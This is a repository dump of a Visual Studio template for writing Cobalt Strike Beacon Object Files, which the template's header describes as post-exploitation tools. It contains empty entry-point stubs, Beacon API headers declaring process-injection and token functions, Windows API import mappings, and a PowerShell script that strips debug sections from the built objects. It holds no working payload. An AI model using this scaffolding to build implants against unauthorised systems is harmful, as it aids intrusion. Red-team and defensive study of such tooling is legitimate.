├── .gitignore
├── Beacon Object File
├── MyTemplate.vstemplate
├── Source.c
├── __PreviewImage.jpg
├── __TemplateIcon.jpg
├── beacon.h
├── bofdefs.h
├── resources
│ └── strip_bof.ps1
├── scheduled-tasks.vcxproj
└── scheduled-tasks.vcxproj.filters
├── README.md
├── examples
├── applocker-enumerator
│ ├── AppLockerPolicy.h
│ ├── Source.c
│ ├── applocker-enumerator.vcxproj
│ ├── applocker-enumerator.vcxproj.filters
│ ├── applocker-enumerator.vcxproj.user
│ ├── beacon.h
│ ├── bofdefs.h
│ └── resources
│ │ └── strip_bof.ps1
├── demo-bof.cna
├── example-bof.sln
└── scheduled-tasks
│ ├── Source.cpp
│ ├── beacon.h
│ ├── bofdefs.h
│ ├── resources
│ └── strip_bof.ps1
│ ├── scheduled-tasks.vcxproj
│ ├── scheduled-tasks.vcxproj.filters
│ └── scheduled-tasks.vcxproj.user
└── images
├── NewProjectWizard.png
├── TemplatesLocation.png
├── building.png
├── building2.png
├── code1.png
├── errors.png
├── output.png
└── project_structure.png
/.gitignore:
--------------------------------------------------------------------------------
1 | .DS_Store
2 |
--------------------------------------------------------------------------------
/Beacon Object File/MyTemplate.vstemplate:
--------------------------------------------------------------------------------
1 |
2 |
3 | Beacon Object File
4 | Create Cobalt Strike Beacon Object Files. Author: @yas_o_h
5 | VC
6 |
7 |
8 | 1000
9 | true
10 | Beacon Object File
11 | true
12 | Enabled
13 | true
14 | __TemplateIcon.jpg
15 | __PreviewImage.jpg
16 |
17 |
18 |
19 | scheduled-tasks.vcxproj.filters
20 | beacon.h
21 | bofdefs.h
22 | Source.cpp
23 | RESOURCES\strip_bof.ps1
24 |
25 |
26 |
--------------------------------------------------------------------------------
/Beacon Object File/Source.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include "bofdefs.h"
4 |
5 |
6 |
7 | #pragma region error_handling
8 | #define print_error(msg, hr) _print_error(__FUNCTION__, __LINE__, msg, hr)
9 | BOOL _print_error(char* func, int line, char* msg, HRESULT hr) {
10 | #ifdef BOF
11 | BeaconPrintf(CALLBACK_ERROR, "(%s at %d): %s 0x%08lx", func, line, msg, hr);
12 | #else
13 | printf("[-] (%s at %d): %s 0x%08lx", func, line, msg, hr);
14 | #endif // BOF
15 |
16 | return FALSE;
17 | }
18 | #pragma endregion
19 |
20 |
21 |
22 |
23 | #ifdef BOF
24 | void go(char* buff, int len) {
25 |
26 | }
27 |
28 |
29 | #else
30 |
31 | void main(int argc, char* argv[]) {
32 |
33 | }
34 |
35 | #endif
--------------------------------------------------------------------------------
/Beacon Object File/__PreviewImage.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/securifybv/Visual-Studio-BOF-template/f7eb92c5d9a137451a6a94343c86e693f79bfe9d/Beacon Object File/__PreviewImage.jpg
--------------------------------------------------------------------------------
/Beacon Object File/__TemplateIcon.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/securifybv/Visual-Studio-BOF-template/f7eb92c5d9a137451a6a94343c86e693f79bfe9d/Beacon Object File/__TemplateIcon.jpg
--------------------------------------------------------------------------------
/Beacon Object File/beacon.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | /*
4 | * Beacon Object Files (BOF)
5 | * -------------------------
6 | * A Beacon Object File is a light-weight post exploitation tool that runs
7 | * with Beacon's inline-execute command.
8 | *
9 | * Cobalt Strike 4.1.
10 | */
11 |
12 | /* data API */
13 | typedef struct {
14 | char * original; /* the original buffer [so we can free it] */
15 | char * buffer; /* current pointer into our buffer */
16 | int length; /* remaining length of data */
17 | int size; /* total size of this buffer */
18 | } datap;
19 |
20 | DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size);
21 | DECLSPEC_IMPORT int BeaconDataInt(datap * parser);
22 | DECLSPEC_IMPORT short BeaconDataShort(datap * parser);
23 | DECLSPEC_IMPORT int BeaconDataLength(datap * parser);
24 | DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size);
25 |
26 | /* format API */
27 | typedef struct {
28 | char * original; /* the original buffer [so we can free it] */
29 | char * buffer; /* current pointer into our buffer */
30 | int length; /* remaining length of data */
31 | int size; /* total size of this buffer */
32 | } formatp;
33 |
34 | DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz);
35 | DECLSPEC_IMPORT void BeaconFormatReset(formatp * format);
36 | DECLSPEC_IMPORT void BeaconFormatFree(formatp * format);
37 | DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len);
38 | DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...);
39 | DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size);
40 | DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value);
41 |
42 | /* Output Functions */
43 | #define CALLBACK_OUTPUT 0x0
44 | #define CALLBACK_OUTPUT_OEM 0x1e
45 | #define CALLBACK_ERROR 0x0d
46 | #define CALLBACK_OUTPUT_UTF8 0x20
47 |
48 | DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...);
49 | DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len);
50 |
51 | /* Token Functions */
52 | DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token);
53 | DECLSPEC_IMPORT void BeaconRevertToken();
54 | DECLSPEC_IMPORT BOOL BeaconIsAdmin();
55 |
56 | /* Spawn+Inject Functions */
57 | DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
58 | DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
59 | DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
60 | DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
61 |
62 | /* Utility Functions */
63 | DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max);
64 |
--------------------------------------------------------------------------------
/Beacon Object File/bofdefs.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | /* some code and/or ideas are from trustedsec SA Github repo -- thankyou trustedsec! */
3 | #include
4 |
5 |
6 | #ifdef BOF
7 |
8 | #ifdef __cplusplus
9 | extern "C" {
10 | #endif
11 |
12 | #include "beacon.h"
13 |
14 | void go(char* buff, int len);
15 |
16 | /* COM */
17 | DECLSPEC_IMPORT HRESULT WINAPI OLE32$CLSIDFromString(LPCWSTR, LPCLSID);
18 | DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoCreateInstance(REFCLSID rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, REFIID riid, LPVOID* ppv);
19 | DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoInitializeEx(LPVOID, DWORD);
20 | DECLSPEC_IMPORT VOID WINAPI OLE32$CoUninitialize();
21 | DECLSPEC_IMPORT HRESULT WINAPI OLE32$IIDFromString(LPWSTR lpsz, LPIID lpiid);
22 | DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoInitialize(LPVOID pvReserved);
23 | DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoCreateInstanceEx(REFCLSID, IUnknown*, DWORD, COSERVERINFO*, DWORD, MULTI_QI*);
24 | DECLSPEC_IMPORT BSTR WINAPI OleAut32$SysAllocString(const OLECHAR*);
25 | DECLSPEC_IMPORT LPVOID WINAPI OLEAUT32$VariantInit(VARIANTARG* pvarg);
26 | DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoInitializeSecurity(PSECURITY_DESCRIPTOR pSecDesc, LONG cAuthSvc, SOLE_AUTHENTICATION_SERVICE* asAuthSvc, void* pReserved1, DWORD dwAuthnLevel, DWORD dwImpLevel, void* pAuthList, DWORD dwCapabilities, void* pReserved3);
27 |
28 | /* Registry */
29 | DECLSPEC_IMPORT LSTATUS APIENTRY ADVAPI32$RegOpenKeyExA(HKEY hKey, LPCSTR lpSubKey, DWORD ulOptions, REGSAM samDesired, PHKEY phkResult);
30 | DECLSPEC_IMPORT LSTATUS APIENTRY ADVAPI32$RegDeleteTreeA(HKEY hKey, LPCSTR lpSubKey);
31 | DECLSPEC_IMPORT LSTATUS APIENTRY ADVAPI32$RegCreateKeyExA(HKEY hKey, LPCSTR lpSubKey, DWORD Reserved, LPSTR lpClass, DWORD dwOptions, REGSAM samDesired,
32 | CONST LPSECURITY_ATTRIBUTES lpSecurityAttributes, PHKEY phkResult, LPDWORD lpdwDisposition);
33 | DECLSPEC_IMPORT LSTATUS APIENTRY ADVAPI32$RegSetValueExA(HKEY hKey, LPCSTR lpValueName, DWORD Reserved, DWORD dwType,
34 | CONST BYTE* lpData, DWORD cbData);
35 |
36 |
37 | /* FileSystem */
38 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateFileA(LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile);
39 | DECLSPEC_IMPORT DWORD WINAPI KERNEL32$SetFilePointer(HANDLE hFile, LONG lDistanceToMove, PLONG lpDistanceToMoveHigh, DWORD dwMoveMethod);
40 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$SetFilePointerEx(HANDLE hFile, LARGE_INTEGER liDistanceToMove, PLARGE_INTEGER lpDistanceToMoveHigh, DWORD dwMoveMethod);
41 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$WriteFile(HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped);
42 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$GetFileSizeEx(HANDLE hFile, PLARGE_INTEGER lpFileSize);
43 | DECLSPEC_IMPORT DWORD WINAPI VERSION$GetFileVersionInfoSizeW(LPCWSTR lptstrFilenamea, LPDWORD lpdwHandle);
44 | DECLSPEC_IMPORT BOOL WINAPI VERSION$GetFileVersionInfoW(LPCWSTR lptstrFilename, DWORD dwHandle, DWORD dwLen, LPVOID lpData);
45 | DECLSPEC_IMPORT BOOL WINAPI VERSION$VerQueryValueW(LPCVOID pBlock, LPCWSTR lpSubBlock, LPVOID* lplpBuffer, PUINT puLen);
46 |
47 |
48 | /* Memory */
49 | DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);
50 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, PVOID);
51 | DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapReAlloc(HANDLE hHeap, DWORD dwFlags, LPVOID lpMem, SIZE_T dwBytes);
52 | DECLSPEC_IMPORT void* __cdecl MSVCRT$memcpy(LPVOID, LPVOID, size_t);
53 | DECLSPEC_IMPORT void __cdecl MSVCRT$memset(void*, int, size_t);
54 |
55 |
56 | /* Process */
57 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId);
58 | DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$CreateProcessWithLogonW(LPCWSTR lpUsername, LPCWSTR lpDomain, LPCWSTR lpPassword, DWORD dwLogonFlags, LPCWSTR lpApplicationName, LPWSTR lpCommandLine, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCWSTR lpCurrentDirectory, LPSTARTUPINFOW lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation);
59 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetProcessHeap();
60 | DECLSPEC_IMPORT SIZE_T WINAPI KERNEL32$VirtualQueryEx(HANDLE hProcess, LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength);
61 | DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetProcessId(HANDLE Process);
62 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$ReadProcessMemory(HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T* lpNumberOfBytesRead);
63 | DECLSPEC_IMPORT VOID WINAPI KERNEL32$Sleep(DWORD dwMilliseconds);
64 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetCurrentProcess(VOID);
65 | DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$LookupPrivilegeValueW(LPCWSTR lpSystemName, LPCWSTR lpName, PLUID lpLuid);
66 | DECLSPEC_IMPORT DWORD WINAPI PSAPI$GetModuleFileNameExW(HANDLE hProcess, HMODULE hModule, LPWSTR lpFilename, DWORD nSize);
67 |
68 |
69 | /* GetLast Error */
70 | DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetLastError(VOID);
71 |
72 |
73 | /* Directories */
74 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$RemoveDirectoryA(LPCSTR);
75 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CreateDirectoryA(LPCSTR lpPathName, LPSECURITY_ATTRIBUTES lpSecurityAttributes);
76 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$MoveFileA(LPCSTR lpExistingFileName, LPCSTR lpNewFileName);
77 | DECLSPEC_IMPORT BOOL WINAPI SHLWAPI$PathIsDirectoryA(LPCSTR);
78 | DECLSPEC_IMPORT BOOL WINAPI SHLWAPI$PathFileExistsA(LPCSTR pszPath);
79 |
80 |
81 | /* strings */
82 | DECLSPEC_IMPORT PSTR WINAPI SHLWAPI$StrChrA(PCSTR pszStart, WORD wMatch);
83 | DECLSPEC_IMPORT LPSTR __cdecl MSVCRT$strchr(LPSTR, int);
84 | DECLSPEC_IMPORT errno_t __cdecl MSVCRT$strcat_s(LPSTR, size_t, LPCSTR);
85 | DECLSPEC_IMPORT errno_t __cdecl MSVCRT$strcpy_s(LPSTR, size_t, LPCSTR);
86 | DECLSPEC_IMPORT errno_t __cdecl MSVCRT$strncpy_s(LPSTR, size_t, LPCSTR, size_t);
87 | DECLSPEC_IMPORT int __cdecl MSVCRT$_snprintf(LPSTR, size_t, LPCSTR, ...);
88 | DECLSPEC_IMPORT void WINAPI MSVCRT$sprintf(char*, char[], ...);
89 | DECLSPEC_IMPORT int __cdecl MSVCRT$_vsnprintf(LPSTR, size_t, LPCSTR, va_list);
90 | DECLSPEC_IMPORT size_t __cdecl MSVCRT$wcslen(LPCWSTR);
91 | DECLSPEC_IMPORT int __cdecl MSVCRT$strcmp(const char* _Str1, const char* _Str2);
92 | DECLSPEC_IMPORT LPSTR WINAPI Kernel32$lstrcpyA(LPSTR lpString1, LPCSTR lpString2);
93 | DECLSPEC_IMPORT LPSTR WINAPI Kernel32$lstrcatA(LPSTR lpString1, LPCSTR lpString2);
94 | DECLSPEC_IMPORT LPSTR WINAPI Kernel32$lstrcpynA(LPSTR lpString1, LPCSTR lpString2, int iMaxLength);
95 | DECLSPEC_IMPORT int WINAPI KERNEL32$lstrlenW(LPCWSTR lpString);
96 | DECLSPEC_IMPORT LPWSTR WINAPI KERNEL32$lstrcpyW(LPWSTR lpString1, LPCWSTR lpString2);
97 |
98 |
99 | /* RPC */
100 | DECLSPEC_IMPORT RPC_STATUS RPC_ENTRY Rpcrt4$RpcStringFreeA(RPC_CSTR* String);
101 | DECLSPEC_IMPORT RPC_STATUS RPC_ENTRY Rpcrt4$UuidCreate(UUID* Uuid);
102 | DECLSPEC_IMPORT RPC_STATUS RPC_ENTRY Rpcrt4$UuidToStringA(const UUID* Uuid, RPC_CSTR* StringUuid);
103 |
104 |
105 | /* Random */
106 | DECLSPEC_IMPORT void WINAPI MSVCRT$srand(int initial);
107 | DECLSPEC_IMPORT int WINAPI MSVCRT$rand();
108 |
109 |
110 | /* DateTime */
111 | DECLSPEC_IMPORT time_t WINAPI MSVCRT$time(time_t* time);
112 |
113 |
114 | /* SystemInfo */
115 | DECLSPEC_IMPORT void WINAPI KERNEL32$GetSystemInfo(LPSYSTEM_INFO lpSystemInfo);
116 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$IsProcessorFeaturePresent(DWORD ProcessorFeature);
117 | DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$GetUserNameW(LPWSTR lpBuffer, LPDWORD pcbBuffer);
118 |
119 |
120 |
121 |
122 |
123 |
124 | #ifdef __cplusplus
125 | }
126 | #endif
127 |
128 |
129 | /* helper macros */
130 |
131 | #define malloc(size) KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, size) /* trustedsec */
132 | #define free(addr) KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, (LPVOID)addr) /* trustedsec */
133 | #define ZeroMemory(address, size) memset(address, 0, size);
134 |
135 |
136 | /* ----------------------------------- DEFINITIONS ------------------------------------------*/
137 |
138 | /* COM */
139 | #define CLSIDFromString OLE32$CLSIDFromString
140 | #define CoCreateInstance OLE32$CoCreateInstance
141 | #define CoInitializeEx OLE32$CoInitializeEx
142 | #define CoUninitialize OLE32$CoUninitialize
143 | #define IIDFromString OLE32$IIDFromString
144 | #define CoInitialize OLE32$CoInitialize
145 | #define CoCreateInstanceEx OLE32$CoCreateInstanceEx
146 | #define SysAllocString OleAut32$SysAllocString
147 | #define VariantInit OLEAUT32$VariantInit
148 | #define CoInitialize OLE32$CoInitialize
149 | #define CoInitializeSecurity OLE32$CoInitializeSecurity
150 |
151 | /* memory */
152 | #define HeapFree KERNEL32$HeapFree
153 | #define HeapAlloc KERNEL32$HeapAlloc
154 | #define HeapReAlloc KERNEL32$HeapReAlloc
155 | #define memcpy MSVCRT$memcpy
156 | #define memset MSVCRT$memset
157 |
158 |
159 | /* process */
160 | #define GetProcessHeap KERNEL32$GetProcessHeap
161 | #define CreateProcessWithLogonW ADVAPI32$CreateProcessWithLogonW
162 | #define OpenProcess KERNEL32$OpenProcess
163 | #define VirtualQueryEx KERNEL32$VirtualQueryEx
164 | #define GetProcessId KERNEL32$GetProcessId
165 | #define ReadProcessMemory KERNEL32$ReadProcessMemory
166 | #define GetCurrentProcess KERNEL32$GetCurrentProcess
167 | #define Sleep KERNEL32$Sleep
168 | #define LookupPrivilegeValueW ADVAPI32$LookupPrivilegeValueW
169 | #define GetModuleFileNameExW PSAPI$GetModuleFileNameExW
170 |
171 |
172 | /* debug */
173 | #define EnumerateLoadedModulesW64 DBGHELP$EnumerateLoadedModulesW64
174 | #define SymInitializeW DBGHELP$SymInitializeW
175 | #define SymCleanup DBGHELP$SymCleanup
176 |
177 |
178 | /* filesystem */
179 | #define CreateFileA KERNEL32$CreateFileA
180 | #define SetFilePointer KERNEL32$SetFilePointer
181 | #define SetFilePointerEx KERNEL32$SetFilePointerEx
182 | #define WriteFile KERNEL32$WriteFile
183 | #define GetFileSizeEx KERNEL32$GetFileSizeEx
184 | #define GetFileVersionInfoSizeW VERSION$GetFileVersionInfoSizeW
185 | #define GetFileVersionInfoW VERSION$GetFileVersionInfoW
186 | #define VerQueryValueW VERSION$VerQueryValueW
187 |
188 | /* error */
189 | #define GetLastError KERNEL32$GetLastError
190 |
191 |
192 | /* registry */
193 | #define RegOpenKeyExA ADVAPI32$RegOpenKeyExA
194 | #define RegDeleteTreeA ADVAPI32$RegDeleteTreeA
195 | #define RegCreateKeyExA ADVAPI32$RegCreateKeyExA
196 | #define RegSetValueExA ADVAPI32$RegSetValueExA
197 |
198 |
199 | /* directory */
200 | #define RemoveDirectoryA KERNEL32$RemoveDirectoryA
201 | #define CreateDirectoryA KERNEL32$CreateDirectoryA
202 | #define MoveFileA KERNEL32$MoveFileA
203 | #define PathIsDirectoryA SHLWAPI$PathIsDirectoryA
204 | #define PathFileExistsA SHLWAPI$PathFileExistsA
205 |
206 |
207 | /* strings */
208 | #define strchr MSVCRT$strchr
209 | #define strcat_s MSVCRT$strcat_s
210 | #define strcpy_s MSVCRT$strcpy_s
211 | #define strncpy_s MSVCRT$strncpy_s
212 | #define snprintf MSVCRT$_snprintf /*beacon can't find snprintf without the preceeding '_' */
213 | #define wcslen MSVCRT$wcslen
214 | #define vsnprintf MSVCRT$vsnprintf
215 | #define lstrlenW KERNEL32$lstrlenW
216 | #define lstrcpyW KERNEL32$lstrcpyW
217 | #define strcmp MSVCRT$strcmp
218 | #define lstrcpyA Kernel32$lstrcpyA
219 | #define lstrcatA Kernel32$lstrcatA
220 | #define lstrcpynA Kernel32$lstrcpynA
221 | #define lstrlenW KERNEL32$lstrlenW
222 | #define lstrcpyW KERNEL32$lstrcpyW
223 | #define sprintf MSVCRT$sprintf
224 |
225 |
226 | /* RPC */
227 | #define RpcStringFreeA Rpcrt4$RpcStringFreeA
228 | #define UuidCreate Rpcrt4$UuidCreate
229 | #define UuidToStringA Rpcrt4$UuidToStringA
230 |
231 |
232 | /* Random */
233 | #define srand MSVCRT$srand
234 | #define rand MSVCRT$rand
235 |
236 |
237 | /* DateTime */
238 | #define time MSVCRT$time
239 |
240 |
241 | /* SystemInfo */
242 | #define GetSystemInfo KERNEL32$GetSystemInfo
243 | #define GetUserNameW ADVAPI32$GetUserNameW
244 | #define IsProcessorFeaturePresent KERNEL32$IsProcessorFeaturePresent
245 |
246 | #else
247 |
248 | #endif
249 |
--------------------------------------------------------------------------------
/Beacon Object File/resources/strip_bof.ps1:
--------------------------------------------------------------------------------
1 | function strip-bof {
2 | <#
3 | .SYNOPSIS
4 | Removes debug symbols from a beacon object file
5 |
6 | Heavily dependent on code by Matthew Graeber (@mattifestation)
7 | Original code: https://www.powershellgallery.com/packages/PowerSploit/1.0.0.0/Content/PETools%5CGet-ObjDump.ps1
8 | Author: Yasser Alhazmi (@yas_o_h)
9 | License: BSD 3-Clause
10 |
11 | .PARAMETER Path
12 |
13 | Specifies a path to one or more object file locations.
14 |
15 | .EXAMPLE
16 |
17 | C:\PS>strip-bof -Path main.obj
18 |
19 | #>
20 |
21 | [CmdletBinding()] Param (
22 | [Parameter(Position = 0, Mandatory = $True)]
23 | [ValidateScript({ Test-Path $_ })]
24 | [String]
25 | $Path
26 | )
27 |
28 |
29 | $Code = @'
30 | using System;
31 | using System.IO;
32 | using System.Text;
33 |
34 | namespace COFF
35 | {
36 |
37 |
38 | public class SECTION_HEADER
39 | {
40 | public string Name;
41 | public uint PhysicalAddress;
42 | public uint VirtualSize;
43 | public uint VirtualAddress;
44 | public uint SizeOfRawData;
45 | public uint PointerToRawData;
46 | public uint PointerToRelocations;
47 | public uint PointerToLinenumbers;
48 | public ushort NumberOfRelocations;
49 | public ushort NumberOfLinenumbers;
50 | public uint Characteristics;
51 | public Byte[] RawData;
52 |
53 | public SECTION_HEADER(BinaryReader br)
54 | {
55 | this.Name = Encoding.UTF8.GetString(br.ReadBytes(8)).Split((Char) 0)[0];
56 | this.PhysicalAddress = br.ReadUInt32();
57 | this.VirtualSize = this.PhysicalAddress;
58 | this.VirtualAddress = br.ReadUInt32();
59 | this.SizeOfRawData = br.ReadUInt32();
60 | this.PointerToRawData = br.ReadUInt32();
61 | this.PointerToRelocations = br.ReadUInt32();
62 | this.PointerToLinenumbers = br.ReadUInt32();
63 | this.NumberOfRelocations = br.ReadUInt16();
64 | this.NumberOfLinenumbers = br.ReadUInt16();
65 | this.Characteristics = br.ReadUInt32();
66 | }
67 | }
68 |
69 |
70 | public class HEADER
71 | {
72 | public ushort Machine;
73 | public ushort NumberOfSections;
74 | public uint TimeDateStamp;
75 | public uint PointerToSymbolTable;
76 | public uint NumberOfSymbols;
77 | public ushort SizeOfOptionalHeader;
78 | public ushort Characteristics;
79 |
80 | public HEADER(BinaryReader br)
81 | {
82 | this.Machine = br.ReadUInt16();
83 | this.NumberOfSections = br.ReadUInt16();
84 | this.TimeDateStamp = br.ReadUInt32();
85 | this.PointerToSymbolTable = br.ReadUInt32();
86 | this.NumberOfSymbols = br.ReadUInt32();
87 | this.SizeOfOptionalHeader = br.ReadUInt16();
88 | this.Characteristics = br.ReadUInt16();
89 | }
90 | }
91 | }
92 | '@
93 |
94 | Add-Type -TypeDefinition $Code
95 | Write-Host "enumerating sections..."
96 | try {
97 | $FileStream = [IO.File]::OpenRead($Path)
98 | $BinaryReader = New-Object IO.BinaryReader($FileStream)
99 | $CoffHeader = New-Object COFF.HEADER($BinaryReader)
100 |
101 | # Parse section headers
102 | $SectionHeaders = New-Object COFF.SECTION_HEADER[]($CoffHeader.NumberOfSections)
103 |
104 | for ($i = 0; $i -lt $CoffHeader.NumberOfSections; $i++)
105 | {
106 | $SectionHeaders[$i] = New-Object COFF.SECTION_HEADER($BinaryReader)
107 |
108 | if($SectionHeaders[$i].Name.Contains("debug")){
109 | Write-Host "found debug section.. zeroing it..."
110 | $FileStream.Close();
111 | $FileStream2 = [IO.File]::OpenWrite($Path)
112 | $FileStream2.Seek($SectionHeaders[$i].PointerToRawData, 'Begin') | Out-Null
113 | for($x = 0; $x -lt $SectionHeaders[$i].SizeOfRawData; $x++){
114 | $FileStream2.WriteByte(0)
115 | }
116 | Write-Host "closing stream...";
117 | $FileStream2.Close();
118 | Write-Host "done!";
119 | return;
120 | }
121 | }
122 | } catch {
123 | Add-Type -AssemblyName PresentationFramework
124 | [System.Windows.MessageBox]::Show("error stripping debug symbols: " + $_.ToString());
125 | return;
126 | }
127 | }
--------------------------------------------------------------------------------
/Beacon Object File/scheduled-tasks.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | BOF
6 | Win32
7 |
8 |
9 | Debug
10 | Win32
11 |
12 |
13 | Release
14 | Win32
15 |
16 |
17 | BOF
18 | x64
19 |
20 |
21 | Debug
22 | x64
23 |
24 |
25 | Release
26 | x64
27 |
28 |
29 |
30 | 16.0
31 | Win32Proj
32 | {$guid1$}
33 | $safeprojectname$
34 | 10.0
35 | scheduled-tasks
36 |
37 |
38 |
39 | Application
40 | true
41 | v142
42 | Unicode
43 |
44 |
45 | Application
46 | false
47 | v142
48 | true
49 | Unicode
50 |
51 |
52 | Application
53 | true
54 | v142
55 | Unicode
56 |
57 |
58 | Application
59 | false
60 | v142
61 | true
62 | Unicode
63 |
64 |
65 | v142
66 | Console
67 |
68 |
69 |
70 |
71 | Console
72 |
73 | v142
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 | $(SolutionDir)bin\$(Configuration)\$(ProjectName).x64.obj;*.cdf;*.cache;*.obj;*.obj.enc;*.ilk;*.ipdb;*.iobj;*.resources;*.tlb;*.tli;*.tlh;*.tmp;*.rsp;*.pgc;*.pgd;*.meta;*.tlog;*.manifest;*.res;*.pch;*.exp;*.idb;*.rep;*.xdc;*.pdb;*_manifest.rc;*.bsc;*.sbr;*.xml;*.metagen;*.bi;$(SolutionDir)bin\$(Configuration)\$(ProjectName).x64.o;$(ExtensionsToDeleteOnClean)
97 |
98 | $(SolutionDir)bin\$(Configuration)\
99 | intermediary\$(Configuration)\$(Platform)\
100 | $(ProjectName)x64
101 |
102 |
103 | $(SolutionDir)bin\$(Configuration)\$(ProjectName).x86.obj;*.cdf;*.cache;*.obj;*.obj.enc;*.ilk;*.ipdb;*.iobj;*.resources;*.tlb;*.tli;*.tlh;*.tmp;*.rsp;*.pgc;*.pgd;*.meta;*.tlog;*.manifest;*.res;*.pch;*.exp;*.idb;*.rep;*.xdc;*.pdb;*_manifest.rc;*.bsc;*.sbr;*.xml;*.metagen;*.bi;$(ExtensionsToDeleteOnClean)
104 |
105 | $(SolutionDir)bin\$(Configuration)\
106 | $(ProjectName)x32
107 | intermediary\$(Configuration)\x86\
108 |
109 |
110 | $(SolutionDir)bin\$(Configuration)\
111 | $(ProjectName)64
112 |
113 |
114 | $(SolutionDir)bin\$(Configuration)\
115 | $(ProjectName)32
116 |
117 |
118 | $(SolutionDir)bin\$(Configuration)\
119 | $(ProjectName)32
120 |
121 |
122 | $(SolutionDir)bin\$(Configuration)\
123 | $(ProjectName)64
124 |
125 |
126 |
127 | EnableAllWarnings
128 | true
129 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
130 | false
131 |
132 |
133 | Level1
134 |
135 |
136 | Console
137 | true
138 |
139 |
140 |
141 |
142 | Level4
143 | true
144 | true
145 | true
146 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
147 | false
148 | Level1
149 |
150 |
151 |
152 |
153 | Console
154 | true
155 | true
156 | true
157 |
158 |
159 |
160 |
161 | EnableAllWarnings
162 | true
163 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions)
164 | false
165 | true
166 | Level1
167 |
168 |
169 | Console
170 | true
171 |
172 |
173 |
174 |
175 | Level4
176 | true
177 | true
178 | true
179 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
180 | false
181 | Level1
182 |
183 |
184 | Console
185 | true
186 | true
187 | true
188 |
189 |
190 |
191 |
192 | /c /Fo"intermediary\BOF\x64\source"
193 |
194 |
195 | None
196 | false
197 | BOF;%(PreprocessorDefinitions)
198 |
199 |
200 |
201 |
202 |
203 |
204 |
205 |
206 |
207 |
208 |
209 |
210 |
211 |
212 |
213 |
214 |
215 |
216 |
217 |
218 |
219 |
220 |
221 | Level1
222 |
223 |
224 | xcopy /y "$(SolutionDir)$(ProjectName)\intermediary\$(Configuration)\$(Platform)\source.obj" "$(SolutionDir)bin\$(Configuration)\$(ProjectName).x64.o*";
225 | powershell -ExecutionPolicy Unrestricted -command "& { . '$(SolutionDir)$(ProjectName)\resources\strip_bof.ps1'; strip-bof -Path '$(SolutionDir)bin\$(Configuration)\$(ProjectName).x64.obj' }"
226 |
227 |
228 |
229 |
